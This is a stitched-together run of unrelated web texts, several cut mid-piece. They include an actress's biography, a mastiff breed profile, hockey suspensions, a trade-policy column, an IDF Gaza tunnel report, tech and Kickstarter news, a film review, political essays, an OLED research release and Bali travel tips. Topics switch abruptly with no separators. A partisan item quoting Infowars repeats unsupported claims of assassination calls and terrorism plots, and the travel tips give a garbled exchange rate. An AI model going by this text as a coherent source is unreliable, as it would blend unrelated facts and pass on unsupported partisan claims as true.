In 2007, she made her theatrical debut as Mathilde Verlaine in Total Eclipse at London's Menier Chocolate Factory.[9] In May 2008, Moffett appeared in the BBC series Doctor Who as the Tenth Doctor's artificially-created daughter, Jenny, in the episode "The Doctor's Daughter", with her future husband David Tennant playing the Doctor[10] (Moffett is the daughter of Peter Davison, who played the Fifth Doctor in the 1980s). In August 2008, Moffett starred in series one of BBC Three's spy spin-off Spooks: Code 9 as Kylie Roman.[11][12]
She voiced the role of Cassie Rice in Doctor Who: Dreamland in 2010,[13] and portrayed Lady Vivian in the "Sweet Dreams" episode of the BBC drama Merlin.[14] She joined the cast of BBC medical drama Casualty as junior doctor Heather Whitefield, but her character was killed off at the start of her second episode.
In June 2010, she performed in the short play Hens, which ran for four performances at the Riverside Studios and was later broadcast on Sky Arts 2,[15] and played a cameo role in the television drama Thorne: Sleepyhead as the wife of one of the junior detectives (appearing in one scene in episode two, and one non-speaking scene in episode three). In March 2011, she landed the role of Emma in the BBC Three sitcom White Van Man,[16] which ran for two series before being cancelled. In May 2012, Moffett made her West End debut in the play What the Butler Saw at the Vaudeville Theatre in London.[17] The play received poor reviews and ticket sales, and on 13 July the production announced via their official website that the play had been cancelled and would be ending the following week, a month earlier than scheduled.[18][19][20][21]
In November 2013, she appeared in and produced the Doctor Who homage anniversary webcast The Five(ish) Doctors Reboot; as producer she was credited under her married name of Georgia Tennant (though her acting appearance is credited under Georgia Moffett). It was written and directed by her father, and featured cameo appearances by her husband and her two older children (she was at the time of filming heavily pregnant with her third, and the webcast features a scripted scene of her going into labour).
Moffett produced (again under her married name, Georgia Tennant) and starred in a short film called 96 Ways To Say I Love You, which also co-starred her husband David Tennant. The film premiered at the London Independent Film Festival in April 2015.[22] In 2017, she returned to acting, appearing in BBC drama miniseries In the Dark, credited as Georgia Tennant.[23]
Personal life [ edit ]
Moffett had her first child, a son, Ty Peter Tennant (born Ty Peter Moffett-Martin), on 27 March 2002.[24][25] Moffett and her son have appeared together on the British reality series Four Weddings,[26] and on an episode of Doctor Who Confidential. He interviewed her for a video for the BBC website.[27] Ty attends a drama school in Shepperton owned by his grandmother, Sandra Dickinson,[28] and made his acting debut in May 2010 in a television commercial for The Great British Teddy Bear Company.[29] He also played a role in The Five-ish Doctors.
In January 2011, several newspapers in the United Kingdom reported that Moffett was engaged to actor David Tennant. Moffett gave birth to the couple's daughter, Olive, two months later, on 29 March 2011.[30][31] Moffett and Tennant married on 30 December 2011.[32] In 2011, Tennant adopted Moffett's son, Ty.[33] Olive made her screen debut at two, playing John Barrowman's daughter in The Five-ish Doctors. On 5 January 2013, Jonathan Ross announced, during a television interview with Tennant, that Moffett was pregnant.[34] On 2 May 2013, Georgia gave birth to the couple's son, Wilfred.[35] On 9 November 2015, Tennant announced that he and Moffett had recently had another baby daughter whom they have named Doris.[36]
Moffett is a patron of Straight Talking, a charity set up to educate young people about teen pregnancy.[37]
Filmography [ edit ]
Television [ edit ]
Film [ edit ]
Year Title Role Notes 2015 96 Ways to Say I Love You Olive Short; also producer (as Georgia Tennant)[22]
Radio [ edit ]
Giant Maso Mastiffs are said to have the great size, lovable, gentle disposition of the Old English Mastiff , with better maternal instincts, higher intelligence, along with more muscle and the protective instincts of the Cane Corso . It is a self-confident, watchful, and patient dog that is gentle-natured towards his family. Intelligent and dignified. It rarely barks, but it is in its nature to defend its territory and family. Calm, steady and docile. Good natured, but very large and heavy. Responds well to calm, but firm, patient training. This breed loves to please and needs lots of companionship. Lives to please its owners. Usually gets along well with other dogs. Guard dog protection training is unnecessary for this naturally protective breed. Loves his family and does not care to be home alone all day long. Fairly easy to train . It loves children. Masos have little to no drooling . The objective in training this dog is to achieve pack leader status . It is a natural instinct for a dog to have an order in its pack . When we humans live with dogs, we become their pack. The entire pack cooperates under a single leader. Lines are clearly defined. You and all other humans MUST be higher up in the order than the dog. That is the only way your relationship can be a success.
Molly the Maso Mastiff full grown at 140 pounds—"Molly loves to go for walks. She does not require a lot of exercise, though she gets tired! She will not go off our street. She is very protective of her neighborhood and is very territorial, so she needs to be close to home (at least I don’t have to worry about her running away!). She loves to play with all her doggie friends in the neighborhood. She is quite popular with all the dogs and people on the street. She loves to go for rides in the car! She does not drool too much, just after she eats or drinks something. She is very easy to groom because her hair is very short. I should describe her: She is very tall (when standing on her hind legs, she reaches 6 feet), long and lean. She has great muscle tone and her coat is brindle—very soft and shiny! My nephew and niece-in-law also have a Giant Maso Mastiff (she is Molly’s sister) and she is just as wonderful as Molly is. They look nothing alike, however. Casey (Molly’s sister) is fawn-colored and she is built stockier and shorter than Molly is. She has the same gentle and loving temperament as Molly does.
"As big as Molly is, she does not take up a lot of room. She likes to curl up in her bed. This breed really does not require a lot of space inside. Molly gets walked every night and during the day goes out in to the yard and runs around for a bit and then comes back in and takes a nap. She is home all day with my 81-year-old parents and she never gets in their way! Her eating habits are not what one would expect for such a big dog (this is also true for her sister Casey). Molly gets fed once a day and it lasts her the whole day!
"Molly and Casey both get along very well with other dogs and they have from the beginning. Molly loves to play with all dogs, regardless of their size. She’s just so fun-loving and just wants to play. As far as training goes, they definitely are very intelligent dogs and training them is easy. The only slight problem I had was because we went to PetSmart and they train right in the middle of the store. Molly has always attracted a lot of attention, so it was hard for both of us to concentrate on the trainer because people were constantly stopping and petting Molly and asking me questions about her! But, she is so well behaved by nature that she took very well to the commands we were taught! And again, these dogs really do love to please! As far as meeting strangers goes, she is more leery of men. But, she will sit there and allow them to pet her; if she is not comfortable, she will just walk away. She has no aggression in her. She takes very well to strange women, though. Even though Molly is a really big dog, she can still be startled easily. Women have a tendency to walk up to Molly slowly and speak calmly, whereas the men can be kind of loud and obnoxious (she does not like this). As far as strange children goes, no problem at all. She absolutely loves all children, i.e. babies, toddlers, teenagers (especially babies). She will sit or lie down right next to a baby carriage to allow the child to get used to her. If a small child cries, she goes over and licks them. Children can hang all over her and it does not faze her in the least. She is very patient and easy-going. I believe these dogs have a natural maternal instinct in them that is very strong. They are definitely very close to their families. They don’t like to be left alone. They are not the type that if you leave them home alone they will destroy the place, but they do get sad if you leave them. But, what a greeting you will get when you get home!!! When Molly is left alone, she just sleeps.
Cleveland Monsters forward Brett Gallant has been suspended for three (3) games as a consequence of an illegal check to the head of an opponent in a game at Grand Rapids on Oct. 22.
Gallant was suspended under the provisions of AHL Rule 28.1 (supplementary discipline). He will miss Cleveland’s games Tuesday (Oct. 25) at Iowa, Thursday (Oct. 27) vs. San Antonio and Friday (Oct. 28) vs. San Antonio.
Utica Comets forward Joseph LaBate has been suspended for three (3) games as a consequence of a match penalty for an illegal check to the head of an opponent, assessed in a game at Albany on Oct. 22.
Chutzpah. I believe that’s the word for it.
Just days after learning the Americans have been tapping her phones and taping her conversations, Angela Merkel has been publicly upbraided by the U.S. Treasury for being a bad global citizen.
What did she do to deserve this?
Merkel just won a third term as chancellor with a record vote and has an approval rating near 80 percent. But she is a bad global citizen because Germany is running the world’s largest trade surplus.
The Washington Post thinks the Treasury’s tongue-lashing is overdue, as does Paul Krugman of the New York Times:
“In this environment, a country that runs a trade surplus is … beggaring its neighbors. It is diverting spending away from their goods and services to its own, and thereby taking away jobs.”
Is this not astonishing?
Competing successfully in world markets is now tantamount to stealing food off the table of one’s less-competent and less-successful neighbors.
By this standard, America was a selfish nation and a rotten global citizen for the first seven decades of the 20th century, when we ran trade surpluses every year, averaging 4 percent of GDP.
From the Civil War through the Roaring ’20s, with a high tariff, we became the mightiest manufacturing power the world had ever seen. Our economic independence enabled us to stay out of two world wars. And when we did go in, we won within months in 1918, and we won again only a few years after Pearl Harbor.
Is this a record to be ashamed of?
Every modern nation that has risen to world power has done so through economic nationalism: Britain under the Acts of Navigation; the United States under protectionist Republicans from 1860-1914; Bismarck’s Germany; postwar Japan, which rose from the ashes of 1945 to become the world’s second economy; and China from 1980 to today.
Trade surpluses, run at the expense of rival powers, have been the hallmark of great nations in their rise to preeminence.
Though Germany is smaller than Montana, with a population not a fourth that of the United States, she is the powerhouse of the European Union, makes some of the finest products on earth, and sells abroad one-third of all she produces. Her unemployment rate is only 5 percent.
Why is that not a record to be admired? And whom are the Germans supposed to emulate? Answer, if you can believe it, Obama’s America.
The Post and Krugman feel the Germans must shake off their habit of working and saving and start spending to get Club Med countries like Spain and Greece out of intensive care. The Post wants Merkel to embrace the Social Democrats’ idea of raising the minimum wage to $11.50 an hour, which was too rich even for the mayor of D.C.
The need, says Treasury, is for “rebalancing.”
Basically, what the globalists want is for prudent counties with trade surpluses to start running deficits to get money flowing, like transfusions, into the moribund economies.
Where as “Engine Charlie” Wilson reportedly said, “What’s good for General Motors is good for the country,” the globalists retort, “What’s good for the global economy is good for America.”
But is this true? From their behavior in recent decades, neither the Chinese nor Japanese nor Germans, proprietors of the second, third and fourth largest economies on earth, buy into this ideology.
And how has America’s conversion to globalism, since George H.W. Bush proclaimed the coming of the New World Order, worked out for us?
From 1989 to 1993, Bush 1 ran $360 billion in trade deficits in goods, a U.S. record.
Bill Clinton, who enlisted the Republican establishment to help ratify NAFTA and U.S. membership in a World Trade Organization where the United States has the same vote as Armenia, ran $1.8 trillion in trade deficits.
Clinton’s deficits were then dwarfed by George W. Bush’s, who ran up $5.3 trillion in trade deficits in goods.
In four years and eight months, Obama has piled up trade deficits totaling more than $3 trillion.
Thus, during 25 years of free-trade globalism, the United States has run up well over 10 trillion, or ten thousand-billion, dollars in trade deficits in goods.
And what do we have to show for it?
Our economic independence is history. We rely on foreigners for the necessities of life. We are the greatest debtor nation in history. Beijing and Tokyo bank scores of billions in annual interest payments on the T-bills and Treasury bonds they hold. And as the gleaming cities of Asia rise, America’s infrastructure visibly crumbles.
The real wages of our working men and women have not risen in decades. In the first decade of this century, we lost 6 million manufacturing jobs as 55,000 factories disappeared.
The concrete-lined tunnel has since been “neutralized,” an army spokesperson said, but would not elaborate on whether it was destroyed or merely sealed off.
Its exact location is still being under wraps by the military censor, though it does not appear that the tunnel led directly into Holit or Sufa, the Israeli communities closest to the southern Gaza Strip.
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The IDF has identified the Hamas terror organization as the group behind the tunnel’s construction and maintains it was dug “in order to carry out attacks against civilians,” a spokesperson said, though he would not discuss what specific intelligence led to that finding.
It is the first such tunnel discovered inside Israeli territory since the end of the war in the Gaza Strip in the summer of 2014. During that operation, dubbed Operation Protective Edge in Israel, at least 34 tunnels were discovered and destroyed by Israeli forces.
Following the operation, Hamas vowed to continue using tunnels and rockets to attack the Jewish state. Speaking at a rally in the Gaza Strip last week, Hamas leader Ismail Haniyeh again told residents: “Our message to the prisoners is a message inked in blood. The rifle and the tunnel are our commitment.”
In response to the discovery, Hamas claimed the tunnel was “old,” one that had been built prior to the 2014 conflict, according to Palestinian media.
The IDF, however, denied that claim, saying it was “a new tunnel that had been built recently.”
The tunnel was located approximately 100 feet (30 to 40 meters) below ground and extended “tens of meters into Israel.” It had been fortified with concrete slabs and featured electrical lines and a rail system, IDF spokesperson Lt. Col. Peter Lerner said.
It was discovered close to the border fence, he added.
Following the 51-day conflict with Hamas in the Gaza Strip in summer 2014, Israel invested an estimated NIS one billion (some $250 million) toward developing a detection system to locate such tunnels.
The army reportedly used such a system to discover this tunnel, though IDF officials stressed that technology was not the only aspect of the discovery operation, which also included extensive intelligence gathering and “boots on the ground.”
“The search for the tunnels has been at the top priority of the defense network and the IDF, and we have not held back our efforts. Dealing with the issue of tunnels is very complicated, and the State of Israel is the world-leader in the field,” Defense Minister Moshe Ya’alon said on Thursday.
“In the past few months, Hamas has experienced a number of cases of tunnel collapses, diggers who die as they labor and now also this disovery,” he said, presumably alluding to Israel’s alleged tunnel detection and destruction systems.
In February, IDF Chief of Staff Lt. Gen. Gadi Eisenkot hinted at this technology, saying that army had “advanced capabilities” to find Hamas’s tunnels.
“We are doing a lot, but many of [the things we do] are hidden from the public. We have dozens, if not a hundred, engineering vehicles on the Gaza border,” Eisenkot added.
Palestinian media claimed Israel had gotten hold of a Hamas operative who was involved in the tunnels project. Mahmoud Jasser Awad Atawna, 29, who helped oversee tunnels, was reported missing by Hamas a few days ago after residents of the Strip lost contact with him, local news outlets reported.
However, it was not clear if Atawna had turned himself in to Israeli forces or been arrested by them.
“The discovery of this tunnel in recent days is the result of ongoing work,” Southern Command head Maj. Gen. Eyal Zamir said in a statement Monday. “The IDF will continue to use all of the tools at our disposal above and below ground to thwart any attempt to harm the people of the State of Israel or IDF soldiers.”
Defense officials estimate that most of the tunnel was dug before the 2014 war, Army Radio reported Monday.
Ya’alon said later that part of the tunnel dated to 2014, and that new additions had been added, Channel 2 reported.
“The working assumption is that Hamas continues to build [these tunnels]. Our job is to prevent attacks against innocent civilians,” an army spokesperson said.
Though the tunnel was found just over one week ago, news of its discovery was forbidden from publication by the military censor.
The IDF worked alongside other Israeli intelligence outfits to locate the tunnel, Ya’alon said.
“The best of Israel’s forces were involved in the tunnel discovery mission, most of which was conducted far from the public eye, including the IDF, the Shin Bet and the defense industry,” he said.
Last week, Palestinian media reported the presence of at least four Israeli D9 bulldozers operating within the Gaza Strip, flattening land near the border.
According to the Ma’an news agency, those earth-movers had been inside the Strip for the previous 10 days, working under the watchful eye of Israeli drones.
On Thursday, a senior IDF officer told reporters that Hamas has been recruiting fighters and collecting materiel at a “surprisingly” quick pace, though the group was not yet prepared for another conflict with Israel.
However, he declared the terrorist organization would not again drag Israel into a war, and insisted any future conflict would be one undertaken at the initiative of the Jewish state.
According to the officer’s assessment, Hamas now has some 5,000 fighters in its special forces and has also filled out its middle and upper ranks with 25 battalion and brigade commanders, the official said.
The group has also been working tirelessly to replace the thousands of rockets, mortar shells and missiles fired at Israeli targets during Operation Protective Edge.
During the 2014 conflict, 72 Israelis and one Thai worker were killed as a result of Hamas attacks, while over 2,000 Gazans were killed in the fighting. The exact number of dead remains contentious, though the UN puts the figure at 2,251, some 35 percent of them combatants. Israel says the percentage was 50.
Amid fast-rising tensions along the border with Gaza, Israel earlier in the week carried out its largest civilian drill near the Palestinian enclave since its 2014 war with Hamas, Channel 2 reported.
Medics, the fire department and civilian response teams simulated a Hamas incursion into Israeli territory, including an attack on an Israeli kibbutz near the border and the taking of hostages by terrorists. The exercise, which was held at Kibbutz Erez, included troops overpowering the terrorists in the community’s dining hall.
And they support HDR, which most early 4K TVs do not and is often touted as the bigger upgrade to image quality than the resolution boost.
The 55" TV uses panels from LG while the 65" ones are sourced from Samsung. They cost CNY 3,500 ($525) and CNY 5,000 ($750) respectively, though getting them out of China will be tricky.
Affordable as they are, we think the CNY 6,000 ($900) offering is by far the best value - it combines the 65" Mi TV 3S with a capable soundbar (30Hz-22kHz), wireless subwoofer and wireless back surround speakers. Checking for a sound system with wireless surround speakers will give you an idea just how good this deal is for $150. Even a soundbar with a wireless subwoofer can easily fetch $200+. Still, if you opt out of the external sound system, the 65" model has four speakers built-in.
Xiaomi made these TVs gorgeous - 9.9mm thick at their thinnest, metal bodies with gold diamond-cut sides and a brushed aluminum back... such a shame that you'll only see it once before you put the TV's back against a wall.
An Amlogic T966 chipset provides the brains, including video streaming and decoding. Inside is a quad-core Cortex-A53 processor and Mali-T830 (2+2) GPU coupled with 2GB of RAM and 8GB storage. Streaming is done over fast Wi-Fi 802.11ac and H.265 video is decoded at up to 4K @ 60fps.
The Xiaomi Mi TV 3S software features an AI-based movie recommendation system, apps for various China-based streaming services and even a karaoke system (complete with a wireless microphone, CNY 600).
As schools and coaches head into the home stretch of their recruiting trips, the last few big undecided names are being called on, and the players who are on the fence will have to make a decision soon.
Coming into this final week, Georgia had 18 verbally committed players, with none of them having signed yet. In this group, nine of them fall under the coveted ESPN300 ranking, and ten are 4-star, with one 5-star, recruits according to rivals.com composites.
DawnOfTheDawg will pass on information about new commits, de-commits (which hopefully will be minimal) and player signings as things progress through this week and into Wednesday’s National Signing Day coverage on ESPN.
Here is Georgia’s list of commits, their position, height/weight, and where they are ranked per rivals.com rankings at their position.
SIGNED COMMITS:
Kendall Baker – Signed DT 6-6/297 10 Jeb Blazevich – Signed TE 6-5/240 1 Keyon Brown – Signed DE 6-3/240 5 Nick Chubb – Signed RB 5-11/218 6 Detric Dukes – Signed LB 6-0/232 15 Jake Edwards – Signed OL 6-4/271 24 Shattle Fenteng – Signed DB 6-2/185 NR Lamont Gaillard – Signed DT 6-2/328 NR Kendall Gant (Flipped to Marshall) DB 6-3/184 39 Gilbert Johnson – Signed WR 6-4/190 NR Rico Johnson – Signed ATH 5-11/188 NR Sony Michel – Signed RB 5-11/205 3 Jacob Park – Signed QB 6-4/210 12 Malkom Parrish – Signed DB 5-9/189 6 Dominick Sanders – Signed DB 6-0/187 NR Dyshon Sims – Signed OL 6-5/270 18 Shakenneth Williams – Signed WR 6-2/195 60 Isaiah Wynn – Signed OL 6-2/269 6
Shaquille Jones – Signed DB 6-2/175 NR
TOP TARGETS:
Shaquille Jones, DB 6-2/175 (UPDATE: Jones flips from Louisville to UGA)
Andrew Williams, DT 6-4/245 (UPDATE: Williams now has UGA as top contender)
Wesley Green, DB 5-10/168
Lorenzo Carter, DE 6-5/240
Bryson Allen-Williams, LB 6-1/215
Tavon Ross, S 6-1/200 – UPDATE: Signed with Missouri
TJ Harrell, S 6-1/210
Kendarius Webster, DB 5-10/170
As stories break on any of the commits or targets, we’ll update and link to them here, so bookmark this page for a handy go-to on Signing Day.
Here’s our wrap-up of the NSD activity for Georgia.
One engineer slept in a van instead of getting a hotel
The project has run into quite a few issues, but the broadest one is that the watches just aren't easy to make. Little more than half of them are fully working after assembly, according to the two engineers behind CST-01, which means that the costs to make them are effectively doubled unless they can resolve the underlying issues. At this point, they can't. As they explained in an earlier update, their project is basically out of money. One of their engineers supposedly went as far as sleeping in a van outside of the production factory so that he didn't have to pay for a hotel.
The campaign for CST-01 launched in January of 2013 and originally planned to have watches, which sold for $129 each, delivered to backers that September. A few months after the campaign's conclusion, the project detailed its first issues: the need to find a new battery, the need to build a custom battery management circuit, and having to wait longer than expected on other parts. Delivery was pushed back to the turn of the year as a result. By February 2014, the schedule kept getting pushed back bit by bit as new assembly issues kept popping up, including getting the watch to actually be thinner than 1mm, which was supposed to be its maximum target.
Not long thereafter, the campaign went silent for a while. In September 2014, it posted another update apologizing for the communication lapse, saying that its manufacturer, Flextronics, had finally assured it that the next sample run would get everything right. Finally, in February of this year — two years after the campaign ended — some of the first watches were supposed to have started shipping. It's not clear how many made it out, but this is where the yield issues came in. Fewer watches were being made than expected, and even fewer of those were actually working. By May, CST-01's engineers said that they would need another $1.2 million — double its original funding — to finish production. They had hoped to find a partner to take that on, but last week's update suggests that's unlikely to happen. "At this point," they write, "the future looks bleak."
Remember how Kickstarter "is not a store?"
This is obviously not the first Kickstarter campaign to fail, but it's among the more successful and exciting projects that haven't managed to come to fruition. In some cases, that's been because of a campaign poorly spending its backers' funds — willfully or otherwise. CST-01's engineers have delivered a general account of how their funds were spent, though that hasn't removed every concern. (That said, publishing a photo from inside of the van that the one engineer was sleeping in didn't hurt.) The engineers also note that they plan to "[redistribute] money as required by law."
Spending breakdown published by CST-01's campaign. Additional funds were spent on R&D, fees, and other costs.
CST-01's failure to ship also emphasizes an issue that has long plagued Kickstarter: as much as Kickstarter likes to say that it's not a store, Kickstarter is totally a store. For a huge number of campaigns, "backers" are really just "buyers" placing a preorder, but backers don't always understand that there's a chance they may not receive what they ordered. In the case of CST-01, backers were funding the watch's creation and would receive a watch once it was made — but since it couldn't be made with that amount of money, there was ultimately nothing for them to get. It's an unfortunate possibility for many campaigns, and the end result is a lot of unhappy backers. And, in this case, likely unhappy creators, too.
It's likely that we'll see another update or so from CST-01 as it continues to wind down. The project still has to determine if it'll be able to find a buyer for its parts or if it'll be opening up its designs. But for now, it looks like very few of the world's thinnest watch are going to end up out in the world.
“This will begin to make things right.” So speaks Max Von Sydow in the first words of The Force Awakens; and how appropriate that is. In short, The Force Awakens is an enormous triumph, a return to the ways of the original trilogy, and, specifically, what made them so loved, and so good. All due respect and admiration to George Lucas for creating the Star Wars universe, but JJ Abrams truly seems to understand what made the originals so damn good better than Lucas himself- intrigue. Mysticism. Tragedy. Fun. Is it a perfect movie? No. No movie is, truly. But for everything that didn’t quite sit right- of which there aren’t many- there were a plethora of other things which Abrams and his crew perfectly hit the target with.
The Force Awakens is a sequel worth waiting 30 years for (and it is, make no mistake, the best Star Wars movie since at least 1983), with a stellar cast (Ridley and Driver shine, but every new and old face alike command the screen and so obviously want to be there, and that brings the whole thing to life); incredible direction and smart writing; and stunning aliens, visuals, and great characters- all of which are so fresh and unique with the perfect blend of old and new it injects life into this universe sometimes just by aesthetic, with Chewie, Han and C390 still bringing the laugh, while new additions like BB-8 cement themselves as worthy, the quirky droid destined to be a fan favourite and loved as only two droids ever have been. How I’ve missed the magic of this galaxy, far, far away. And here we are, launched back into two and a half hours of sheer brilliance, with all of the magic, wit and fun which made the original trilogy what it was. Episode VII is certainly a great indicator for things to come, leaving you craving more with its phenomenal ending and, even still, it provides a triumphant, hugely satisfying adventure on its own, realising my hopes as a fan, and surpassing them. Accordingly, while no movie is perfect, it gets a 10 from me.
Nathan Stevens Blocked Unblock Follow Following Oct 26, 2016
My home town is ugly. The primary color palette of Friendswood, Texas, is concrete-grey with brushings of asphalt-black. The neighborhood I grew up is all medians, gross, man-made lakes and occasional trees, trying desperately to cover up the sense of melting tar. Yet the neighbors always walked. Even through 90-degree heat with 90 percent humidity the elderly Muslim couple across the street walked. I didn’t see what they got out of it, but they found some sort of calming ritual in the dusk hours as the cicadas screeched. I don’t know if they go out for strolls anymore, not since the freshly moved-in neighbors put up a Trump sign.
I don’t know much about the Trump family. They’re white (like 90% of Friendswood’s population), have two daughters and are probably middle to upper middle class. Friendswood is known for a good school system, a Stepford Wives-ish vibe (at least from my view) and a mean income higher than most of the cities around it. And it’s the people of Friendswood who are Trump’s biggest supporters. Time and time again I’ve seen articles about run down whites living in rural areas serving as the backbone of Trump’s support, but those folks support Clinton or Bernie just as much or more than Trump. It’s not economic anxiety, it’s racial and sexist anxiety that pushes a wide swath of white, middle class folks to support Trump.
Vox did a great article over the history of racial anxiety and resentment, but I’ve got a bit of anecdotal evidence from Friendswood to shine some light on the mindset of middle-class Trumpers. Back when I was in Jr. High, an acquaintance of mine, who was from a Muslim-Pakistani family, was thrown in a trash can by some white bullies. I never got the full story on why, I’m sure 9/11 was invoked at some point, but the principal of my school got rightfully angry and spooked. She called an all school assembly that took the students out of gym class (so I was already on board). Members of a local mosque spoke about religious tolerance and the history of Islam to us. It was tame, polite and not much different from the uber-liberal teachings I got from my own Universal Unitarian church Sundays.
The parents of Friendswood had her fired.
A flood of complaints from local worryworts came in, demanding her resignation. The more reasonable parents (and kids) went to a school board meeting to discuss the event. Only one parent spoke against the assembly at that meeting; the grand majority of Friendswood adults who felt uncomfortable were content to remain unseen. Even with a growth of public support she was removed from her post, replaced by some middle aged white dude.
Mind you, these were the same parents that complained to the high school when kids were skipping class to play in the first snow Friendswood had in five years. They’re generally NO FUN, but this event keeps coming to my mind during this election. Sure there are plenty of alt-right bros and Fox News Friends who are happy to regurgitate Trump’s vile lines, but a sizable portion of his base are hiding, content with an occasional Facebook post calling Hillary crooked or putting up a sign in their yard. They probably won’t burn down a building when Hillary wins, they probably won’t directly threaten a black couple in their neighborhood, they probably will go about their lives after the election like nothing changed. Because everything else isn’t subtle enough. This line of Trump supporters prefer to work through schools, council meetings and nasty emails, bending communities to be more conservative and white.
And I’m seeing it appear in the classmates that graduated alongside or near me. An acquaintance of mine recently wrote a post titled something along the lines of “I’m a feminist voting for Trump.” Two other people I knew from my high school days (both dudes) are supporting Trump solely on the fact that he will restrict abortion laws, or even overturn Roe V Wade.
Corresponding author, Dr Dan Credgington, of the University of Cambridge’s Cavendish Laboratory, says:
“It’s amazing that the very first demonstration of this new kind of material already beats the performance of technologies which have taken decades to develop. If the effect we have discovered can be harnessed across the spectrum, it could change the way we generate light.”
Molecular materials are the driving force behind modern organic light-emitting diodes (OLEDs). Invented in the 1980s, these devices emit light when electricity is applied to the organic (carbon based) molecules in them. OLED lighting is now widely used in televisions, computers and mobile phones. However it has to overcome a fundamental issue which has limited efficiency when it comes to converting electrical energy into light.
Passing an electric current through these molecules puts them into an excited state, but only 25% of these are ‘bright’ states that can emit light rapidly. The remaining 75% are ‘dark’ states that usually waste their energy as heat limiting the efficiency of the OLED device. This mode of operation produces more heat than light just like in an old fashioned filament light bulb. The underlying reason is a quantum property called ‘spin’ and the dark states have the wrong type.
One approach to tackle this problem is to use rare elements, such as iridium, which help the dark states to emit light by allowing them to change their spin. The problem is this process takes too long, so the energy tied up in the dark states can build up to damaging levels and make the OLED unstable. This effect is such a problem for blue emitting materials (blue light has the highest energy of all the colours) that, in practice, the approach can’t be used.
Dr Le Yang holding one of the most efficient OLED devices, developed in Cambridge
Chemists at the University of East Anglia have now developed a new type of material where two different organic molecules are joined together by an atom of copper or gold. The resulting structure looks a bit like a propeller. The compounds, which can be made by a simple one-pot procedure from readily available materials, were found to be surprisingly luminescent. By rotating their “propeller”, dark states formed on these materials become twisted, which allows them to change their spin quickly. The process significantly increases the rate at which electrical energy is converted into light achieving an efficiency of almost 100% and preventing the damaging build-up of dark states.
Dr Dawei Di and Dr Le Yang, from Cambridge, were co-lead authors long with Dr Alexander Romanov, from the UEA. He says:
“Our discovery that simple compounds of copper and gold can be used as bright and efficient materials for OLEDs demonstrates how chemistry can bring tangible benefits to society. All previous attempts to build OLEDs based on these metals have led to only mediocre success. The problem is that those materials required the sophisticated organic molecules to be bound with copper but has not met industrial standards. Our results address an on-going research and development challenge which can bring affordable high-tech OLED products to every home.”
Computational modelling played a major role in uncovering this novel way of harnessing intramolecular twisting motions for energy conversion.
Professor Mikko Linnolahti, of the University of Eastern Finland, where this was done, comments:
“This work forms the case study for how we can explain the principles behind the functioning of these new materials and their application in OLEDS.”
The next step is to design new molecules that take full advantage of this mechanism, with the ultimate goal of removing the need for rare elements entirely. This would solve the longest standing problem in the field – how to make OLEDs without having to trade-off between efficiency and stability.
Co-lead author, Dr Dawei Di, of the Cavendish Laboratory, says:
“Our work shows that excited-state spin and molecular motion can work together to strongly impact the performance of OLEDs. This is an excellent demonstration of how quantum mechanics, an important branch of fundamental science, can have direct consequences for a commercial application which has a massive global market.”
Reference:
Dawei Di et al: “High-performance light-emitting diodes based on carbene-metal-amides” is published in Science 30th March 2017
Democrats Continue To Meltdown
Democratic Congresswoman Maxine Waters is calling for Donald Trump to be impeached on the grounds that he coined the term ‘crooked Hillary’ in collusion with the Russian government, suggesting that Russia may have been feeding Trump these lines during the election.
From Infowars:
California Congresswoman Maxine Waters was egged on by MSNBC anchor Chris Matthews to explain why Trump’s presidency is ‘not legitimate’. Matthews and Waters then engaged in some of the most dumb speculation ever aired on a broadcast. Matthews suggested that the Russian government engaged in “collusion” with the Trump campaign, and asked Waters “Does that make Trump subject to impeachment? Waters struggled to find a valid answer, so went with the following remarkable utterance: “If we discover that Donald Trump or his advocates played a role to help provide strategy — if they’re the ones who came up with ‘Crooked Hillary,’ if they’re the ones who came up with, ‘she’s ill, something’s wrong with her energy,’ and the way that he basically described her during the campaign — I think that is something that would put the question squarely on the table whether or not he should be impeached.”
What is ironic about all of this is that the Democrats have been attacking Trump saying that he is dividing the country and not bringing the United States together yet they are the ones who are acting like children with refusing to go to the inauguration, spreading shady rumors at best that Russia hacked the election, rioting & protesting, and in some circumstances calling for his assassination.
On Monday morning The Gateway Pundit reported on a newly released video that showed liberal activists actively conspiring to commit an act of terrorism during the inauguration.
It has since been announced that the DeploraBall organizer will file charges with the FBI against the group for conspiracy to commit terrorism.
Video
I never ever contemplated attending the inauguration or any activities associated w/ @realDonaldTrump. I wouldn’t waste my time. — Maxine Waters (@MaxineWaters) January 15, 2017
A post shared by Joyce 🎀 (@joyceburggraaf) on May 30, 2018 at 8:01am PDT
1. First up, it might sound obvious but research and plan, even if it’s just a little bit.
It’s different if you’ve got a while there and you can just spontaneously research as you go, but if you don’t have a lot of time then talk to people who’ve already been – they’re the best source of info. Or read blogs like this… well done, you little researcher.
Bali currency
2. Don’t be that person who shows up to the airport without your rupiah – you’ll get stung if you try to exchange your £’s there. You’re in the 21st century, get some kind of travel money card – no stress, no wandering around with what feels like a million £’s in your bag (when you get your rupiah you’ll know what we mean). Just put it on the plastic. £100 = 185,2647 rupiah. You will literally feel like a baller.
Bali weather
3. Make sure you know what weather to expect. Bali has a tropical climate, so no matter when you go, it’s going to be warm. But it has two distinct seasons:
Wet season = October to April
Dry season = May to September
A post shared by BALI TRIP Explore Bali Beyond (@balicili) on May 30, 2018 at 9:07am PDT
Best time to visit Bali
4. We’ll take a guess here – we’re assuming you want to visit Bali outside of monsoon wet season? If you’re not too bothered about a bit of heavy rain for about an hour a day, then this is a great time to avoid the crowds. Dry season is May to September, but it’s also peak tourist season. If you’re a surfer this is when you want to visit, as it offers the best waves.
Bali hotels
5. Stay at a few different hotels in different areas to get the full Bali experience. You’ll experience a lot more culture staying further inland and explore the different areas. Kuta for surfing and partying, Ubud for yoga and jungle, Seminyak for shopping and glam feels (and Potato Head Beach Club, of course).
6. You can get a seriously great hotel for a seriously low price in Bali. No need to slum it here. There are so many hotels you can stay at with almost all of them being safe, practical and luxurious. Don’t think you have to stay at an expensive hotel to be safe, the affordable hotels are just as good.
Bali food
A post shared by ALEX MACDONALD (@morton_mac) on May 31, 2018 at 3:43am PDT
7. Be a vegetarian in Bali – not only is it the safer option, but a lot of the restaurants and cafes in Bali serve mainly vegetarian and vegan food, and they’re all super tasty! If you are staying in Ubud go to Café Vespa, their meals are a 10/10 and very cheap.
8. Bali has the best coconut ice-cream in the world. If you are in Ubud you have to go to Tukies Café. They have remarkable deserts including coconut ice-cream and fresh coconuts to drink. Nowhere says paradise like strolling around sipping from a coconut.
Things to do in Bali
